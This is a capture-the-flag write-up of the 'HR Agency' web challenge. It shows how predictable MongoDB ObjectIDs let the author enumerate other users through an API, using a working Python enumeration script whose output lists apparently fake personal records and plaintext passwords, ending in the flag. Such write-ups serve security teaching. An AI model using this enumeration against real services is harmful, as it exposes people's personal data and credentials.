HR Agency


problem description


NoSQL objectifying people!


Using the provided credentials, we can login to an HR system which contains several personal details (Name, email, etc.).

The sources contain the following logic for personal information retrieval:

    fetch("/api/getUserDetails", {
        method: 'post',
        body: JSON.stringify({"user_id":getCookie("user_id")}),
    .then(res => res.json()).then(function(res) {
        if(!res.isSuccess) {
          $("#response").html(`<div class="alert alert-danger" role="alert">${res.errorMessage}</div>`)
    document.querySelector('form').addEventListener('submit', event => {
        $("#response").html(`<div class="alert alert-danger" role="alert">Currently unavailable!</div>`)

When logging in, the server sets two cookies:

root@kali:/media/sf_CTFs/appsec/HR_Agency# curl '' --data-raw '{"email":"[email protected]","password":"x!k_856hBM"}' -q -v 2>&1 | grep cookie
< set-cookie: access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJlbWFpbCI6InBhdWxhNzRAaHVudGVyLWhhcnJpcy5uZXQifQ.Z1izJjkHOFq2XTf3xLDApb73S3EtywfZKVUvfEIoq3A; Path=/; SameSite=lax
< set-cookie: user_id=5f8b2e54a5b8134d764f65a8; Path=/; SameSite=lax

The first one is a JWT with the user email:

root@kali:/media/sf_CTFs/appsec/HR_Agency# python3 ~/utils/jwt_tool/ eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJlbWFpbCI6InBhdWxhNzRAaHVudGVyLWhhcnJpcy5uZXQifQ.Z1izJjkHOFq2XTf3xLDApb73S3EtywfZKVUvfEIoq3A

        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
  Version 2.0                 \______|             @ticarpi

Original JWT:

Decoded Token Values:

Token header values:
[+] typ = "JWT"
[+] alg = "HS256"

Token payload values:
[+] email = "[email protected]"

The second is a user-id. Using the user-id, we can query /api/getUserDetails and get the personal details of the user.

We tried many things for this challenge - attacking the token, injections, etc. but with no success. At some point, after no one was able to solve the challenge, a hint was released:

NoSQL objectifying people!

This hint sent us again towards NoSQL injection, but nothing seemed to work. At last, we realized that "objectifying" was pointing us towards the user-id, which in fact looks like a MongoDB ObjectID:

Although there is some randomness in the object ID definition, it is quite predictable, especially if you already know a certain object ID. In our case, we have our own user-id, allowing us to easily try and guess other user-IDs.

We can use the mongo-objectid-predict Python library for this, and script it all with the following script:

from mongo_objectid_predict import predict
import requests

s = requests.Session()"", json = {"email":"[email protected]", "password":"x!k_856hBM"})

print ("Base User ID: {}".format(s.cookies['user_id']))
print("-" * 30)

for objectid in predict(base = s.cookies["user_id"],
                        backward = True,
                        counter_diff = 100):
    r ="", json={"user_id": objectid})
    response = r.json()

    if response["isSuccess"]:
        print("User ID: {}".format(objectid))
        print("-" * 30)

    if "AppSec-IL" in r.text:
        print ("Found flag!")


root@kali:/media/sf_CTFs/appsec/HR_Agency# python
Base User ID: 5f8b2e54a5b8134d764f65a8
User ID: 5f8b2e53a5b8134d764f65a7
{u'phone_number': u'6193305363', u'about': u'Together safe factor then five experience technology.\nDiscuss far start myself. Bag event for in data. Knowledge hard thought bring.', u'last_name': u'White', u'company': u'Townsend-Wells', u'first_name': u'Travis', u'isSuccess': True, u'job': u'Microbiologist', u'address': u'7630 Tara Prairie\nThomasfurt, AK 25300', u'password': u'_s3C^o^b88', u'email': u'[email protected]'}
User ID: 5f8b2e52a5b8134d764f65a6
{u'phone_number': u'398-795-9615x93405', u'about': u'His third win do. Maintain music million see concern region section.\nWould like participant young Mr see. You would dog reduce certainly space against.', u'last_name': u'Reed', u'company': u'Hawkins-Blake', u'first_name': u'Alec', u'isSuccess': True, u'job': u'Engineer, aeronautical', u'address': u'062 Natalie Fields Suite 186\nAndersonbury, WY 52085', u'password': u'k%Fd8EswVM', u'email': u'[email protected]'}
User ID: 5f8b2e51a5b8134d764f65a5
{u'phone_number': u'(365)469-7243', u'about': u'Me partner question quite church political every. Range value should east as agent. Through during growth boy nation.\nEight feeling sea learn child whom. Town charge more a professor later.', u'last_name': u'Miller', u'company': u'Delgado, Lewis and Blankenship', u'first_name': u'Francisco', u'isSuccess': True, u'job': u'Chief of Staff', u'address': u'1312 Roger Parks Suite 615\nKochmouth, VT 15163', u'password': u'FV3$t6Irn)', u'email': u'[email protected]'}
User ID: 5f8b2e50a5b8134d764f65a4
{u'phone_number': u'+1-850-328-6198x862', u'about': u'Share art author section ahead travel once. Note themselves bad cell federal development.\nEverything wear large if official. Stage result trade democratic so course school.', u'last_name': u'Fisher', u'company': u'Williams, Burnett and Johnson', u'first_name': u'Dillon', u'isSuccess': True, u'job': u'Network engineer', u'address': u'733 Hawkins Land Suite 694\nCarlsonland, VA 28474', u'password': u'eH9IaHHpS&', u'email': u'[email protected]'}
User ID: 5f8b2e4fa5b8134d764f65a3
{u'phone_number': u'378.908.0361x04988', u'about': u'Prepare safe life over life wonder. Develop he raise head. Growth return truth.\nProcess huge chair candidate.', u'last_name': u'White', u'company': u'Woodward Group', u'first_name': u'Eric', u'isSuccess': True, u'job': u'Acupuncturist', u'address': u'95640 Little Viaduct Suite 578\nRodriguezmouth, AL 12988', u'password': u'+6)Ebyu^J(', u'email': u'[email protected]'}
User ID: 5f8b2e4ea5b8134d764f65a2
{u'phone_number': u'441-684-2040x5536', u'about': u'Any figure paper analysis recently if. Matter decide church both citizen. Together wide himself amount argue cover push.', u'last_name': u'Parker', u'company': u'Riley-Rojas', u'first_name': u'Marc', u'isSuccess': True, u'job': u'Freight forwarder', u'address': u'2415 Brian Vista\nNew Ariana, AK 53361', u'password': u'ht+028UpAk', u'email': u'[email protected]'}
User ID: 5f8b2e4da5b8134d764f65a1
{u'phone_number': u'555-447-1033x091', u'about': u'Cause kid serve figure game. Miss set century to serious.\nReason high thought anything newspaper alone culture. Most buy spring possible guy point. Degree do material life almost occur claim.', u'last_name': u'Blanchard', u'company': u'Fowler Ltd', u'first_name': u'Brittany', u'isSuccess': True, u'job': u'Osteopath', u'address': u'2007 Karen Oval Suite 835\nGarciaberg, WY 53327', u'password': u'!2RJRIwAsN', u'email': u'[email protected]'}
User ID: 5f8b2e4ba5b8134d764f65a0
{u'phone_number': u'863.990.6911x6105', u'about': u'Establish type church manage assume recently beyond. Heavy detail red forward. Couple least someone young stock attack word.', u'last_name': u'Walker', u'company': u'Cooper Ltd', u'first_name': u'Caitlin', u'isSuccess': True, u'job': u'Development worker, international aid', u'address': u'9368 Maxwell Underpass\nNorth Paigefort, AZ 89000', u'password': u'eiUYN9Vl_8', u'email': u'[email protected]'}
User ID: 5f8b2e4aa5b8134d764f659f
{u'phone_number': u'001-234-777-7718x82735', u'about': u'Great thousand thus however Congress themselves reality after. Money system movie blue. Local movie want our.\nAccount own prevent fear. Note investment class say increase. Free him course.', u'last_name': u'Stokes', u'company': u'Parks, Orr and Jones', u'first_name': u'Edward', u'isSuccess': True, u'job': u'Conservation officer, historic buildings', u'address': u'08370 Smith Oval Suite 752\nPort Amy, RI 56164', u'password': u'*FPi(Q9BL8', u'email': u'[email protected]'}
User ID: 5f8b2e49a5b8134d764f659e
{u'phone_number': u'(414)365-8127x9728', u'about': u'Try likely what happen meeting. Instead true within provide they service. Move detail might beautiful often myself represent.', u'last_name': u'White', u'company': u'Aguilar, Mosley and Madden', u'first_name': u'Jessica', u'isSuccess': True, u'job': u'Therapist, horticultural', u'address': u'26995 Kristen Crossing Suite 657\nBowersberg, WY 50637', u'password': u'^lcDi9ush0', u'email': u'[email protected]'}
User ID: 5f8b2e48a5b8134d764f659d
{u'phone_number': u'9849489192', u'about': u'Per word industry hand positive hot threat focus. Present away those speech nor.', u'last_name': u'Terry', u'company': u'Gonzalez, Garcia and Costa', u'first_name': u'Susan', u'isSuccess': True, u'job': u'Event organiser', u'address': u'165 Jackson Alley Suite 839\nAndrewport, NH 22881', u'password': u')OvK9sXhCc', u'email': u'[email protected]'}
User ID: 5f8b2e47a5b8134d764f659c
{u'phone_number': u'106.445.2030x06913', u'about': u'Suffer institution tax eat player. Hot although former technology five manage glass. Between reach stage according special must.', u'last_name': u'Garrett', u'company': u'Vasquez and Sons', u'first_name': u'Ryan', u'isSuccess': True, u'job': u'Quarry manager', u'address': u'297 Buckley Bypass Suite 314\nMaynardborough, UT 30237', u'password': u'n3#WIk!V+P', u'email': u'[email protected]'}
User ID: 5f8b2e46a5b8134d764f659b
{u'phone_number': u'+1-336-454-5912', u'about': u'According throw sing. Stock quickly toward significant side into. Leader must approach collection entire.', u'last_name': u'Mayer', u'company': u'Solomon, Montoya and Jones', u'first_name': u'Louis', u'isSuccess': True, u'job': u'Community development worker', u'address': u'44794 Gerald Keys Suite 426\nLake Christopher, AZ 15437', u'password': u')t(Uf%*G4y', u'email': u'[email protected]'}
User ID: 5f8b2e45a5b8134d764f659a
{u'phone_number': u'774-940-7657x0151', u'about': u'Various know office. Who sing suggest prepare painting necessary.\nStudent year matter skin improve she travel manager. Nearly dinner across class certainly not. Office customer show ability world.', u'last_name': u'Galvan', u'company': u'Dawson-Sutton', u'first_name': u'Julie', u'isSuccess': True, u'job': u'Waste management officer', u'address': u'44548 Rivera Port\nEast Benjamintown, MT 92210', u'password': u'SUQc$k2Z%3', u'email': u'[email protected]'}
User ID: 5f8b2e44a5b8134d764f6599
{u'phone_number': u'183.623.6344', u'about': u'Decade both perform building. Population record deep administration.\nFor sure by article suggest support listen special. Leader person admit. Whom then something for my better.', u'last_name': u'Jimenez', u'company': u'Golden LLC', u'first_name': u'Paul', u'isSuccess': True, u'job': u'Energy manager', u'address': u'14921 Michael Falls Apt. 249\nLake Dawn, UT 58368', u'password': u'%iwQyi$4n6', u'email': u'[email protected]'}
User ID: 5f8b2e43a5b8134d764f6598
{u'phone_number': u'179.704.2644x4744', u'about': u'Book class change bit ever by level.\nTerm cold speak gas color. Unit hour player seat. Artist where city police worker blood strategy.', u'last_name': u'Patterson', u'company': u'Jensen-Cooper', u'first_name': u'Mark', u'isSuccess': True, u'job': u'Multimedia programmer', u'address': u'214 White Park Apt. 896\nLake Sarah, PA 01123', u'password': u'*q4WCgFwsr', u'email': u'[email protected]'}
User ID: 5f8b2e42a5b8134d764f6597
{u'phone_number': u'+1-570-153-1451', u'about': u'Century traditional much music. Cause most even attack about design believe.', u'last_name': u'Simmons', u'company': u'Moreno Group', u'first_name': u'Greg', u'isSuccess': True, u'job': u'Therapist, art', u'address': u'05710 Tyler Road\nLake Matthew, TX 26468', u'password': u'+tm0iX)&Y)', u'email': u'[email protected]'}
User ID: 5f8b2e41a5b8134d764f6596
{u'phone_number': u'953-324-8463', u'about': u'Trip daughter mother. Side picture person father step left. Kind bed game project offer.\nContain serious job.', u'last_name': u'Harrell', u'company': u'Stevens-White', u'first_name': u'Sarah', u'isSuccess': True, u'job': u'Occupational hygienist', u'address': u'069 Reeves Ridge\nNew Lindatown, SD 35807', u'password': u'!hEjcyqk2M', u'email': u'[email protected]'}
User ID: 5f8b2e40a5b8134d764f6595
{u'phone_number': u'(010)918-7788x1793', u'about': u'Friend entire sport stop method pull speech. Level idea American many item though choose support. But carry they.', u'last_name': u'Boyd', u'company': u'Walters-Harris', u'first_name': u'Gregory', u'isSuccess': True, u'job': u'Radiographer, therapeutic', u'address': u'708 Moore Trafficway Apt. 601\nWest Travis, SD 85948', u'password': u'VN2uivNk$3', u'email': u'[email protected]'}
User ID: 5f8b2e40a5b8134d764f6594
{u'phone_number': u'+972123456', u'about': u'Nimrod Levy is a seasoned security researcher with over a decade of experience in the field of web application penetration testing and infrastructure attack simulations (i.e Red Team).', u'last_name': u'Levy', u'company': u'SCORPIONES LTD', u'first_name': u'Nimrod', u'isSuccess': True, u'job': u'CTO, Co-Founder', u'address': u'WHERE?', u'password': u'AppSec-IL{M0ng0DB0bjectIdIsPr3d1ct4bl3!}', u'email': u'[email protected]'}
Found flag!

The flag: AppSec-IL{M0ng0DB0bjectIdIsPr3d1ct4bl3!}